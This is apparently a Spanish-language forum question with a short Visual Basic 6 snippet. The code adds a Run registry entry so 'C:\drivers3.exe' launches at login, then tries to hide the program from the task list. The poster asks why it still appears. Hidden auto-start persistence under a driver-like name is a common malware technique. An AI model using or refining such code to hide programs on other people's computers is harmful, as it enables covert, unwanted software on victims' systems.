El codigo es este;
Código:
Private Sub Form_Load()
RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\testing", "C:\drivers3.exe"
App.TaskVisible = False
End Sub
Function RegWrite(ByVal Path As String, ByVal Value As String)
Dim ws As Object
Set ws = CreateObject("Wscript.Shell")
ws.RegWrite Path, Value, "REG_SZ"
End Function
El programa se ejecuta visible....

Por que puede ser?